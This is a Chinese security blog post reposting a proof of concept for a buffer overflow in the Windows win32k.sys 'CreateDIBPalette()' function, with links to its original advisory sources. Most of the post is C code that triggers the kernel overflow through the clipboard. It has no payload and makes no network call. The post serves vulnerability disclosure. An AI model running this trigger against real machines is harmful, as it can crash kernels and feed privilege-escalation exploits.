【漏洞】Win32k.sys "CreateDIBPalette()" 溢出

  • A+
所属分类:lcx

Windows Win32k.sys 驱动 "CreateDIBPalette()" 缓冲区溢出

Windows win32k.sys Driver "CreateDIBPalette()" Buffer Overflow

Sources:
http://www.ragestorm.net/blogs/?p=255 
http://secunia.com/advisories/40870/ 

DEVMODE dm = {0}; 
dm.dmSize  = sizeof(DEVMODE); 
dm.dmBitsPerPel = 8; 
dm.dmPelsWidth = 800; 
dm.dmPelsHeight = 600; 
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL; 
ChangeDisplaySettings(&dm, 0); 
BITMAPINFOHEADER bmih = {0}; 
bmih.biClrUsed = 0×200; 
HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0×1000); 
memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih)); 
GlobalUnlock(h); 
OpenClipboard(NULL); 
SetClipboardData(CF_DIBV5, (HANDLE)h); 
CloseClipboard(); 
OpenClipboard(NULL); 
GetClipboardData(CF_PALETTE);

文章来源于lcx.cc:【漏洞】Win32k.sys "CreateDIBPalette()" 溢出

相关推荐: 只要有钱,创业就真的很容易?

在想象当中,很多人觉得创业就是几个人凑在一起,出资源的出资源,出力的出力,拿钱的拿钱,一起为了一个共同目标而努力的这么一件事情;说到这里,有的人可能要笑了,你说的像土匪一样,根本都不是团队。老实说,作为创业资历颇深的呆子来说,自然是知道团队和团伙土匪的区别,我…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: